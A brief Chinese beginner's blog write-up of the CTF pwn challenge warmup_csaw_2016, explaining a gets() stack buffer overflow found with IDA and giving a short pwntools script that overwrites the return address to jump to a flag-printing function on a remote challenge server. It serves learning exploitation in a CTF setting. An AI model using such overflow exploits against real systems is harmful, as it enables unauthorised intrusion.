日行一PWN warmup_csaw_2016

210 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

今天开始正式开始做pwn,在这方面我是纯小白,由于汇编还在同步学习中,有些地方一定分析的不到位,请看到我文章的大佬不吝赐教:)

这道题还是很简单的,但是由于是刚接触到IDA不到半个小时,很多操作不会,导致有点难受,以前学习BOF是用ImmunityDebugger动态调试的,但由于这个是64位程序,那个用不了,然后IDA的动态调试还一直报错,这次一直是静态分析

直接ida打开,由于还看不太懂汇编,还是先借助万能的F5吧。

image-20220420162138277.png

发现在末尾处用一个没有内存控制的gets来获取v5的内容,然后v5大小为64B

image-20220420162420443.png

就直接让这道题的思路出现了,用gets函数给v5赋值,使它溢出,然后将我们的指令输出到EIP上即可

image-20220420163816871.png

然后我们在main中发现一个在40060d上的函数

image-20220420163907348.png

内容是打开flag文件,虽然没拿到shell,但作为比赛得分点已经足够了,那么直接跳转到这个函数上就可以了

from pwn import *
r=remote('117.21.200.166',29344)
shell_addr=0x400611
payload = 'a'*(0x40+8)+p64(shell_addr)
r.sendline(payload)
r.interactive()

还是要学习,之前玩的BOF的类型好像没有EBP的概念,溢出了之后直接接了EIP,这个+8的操作也是看了别人的博客才发现,等研究明白了在单发一篇吧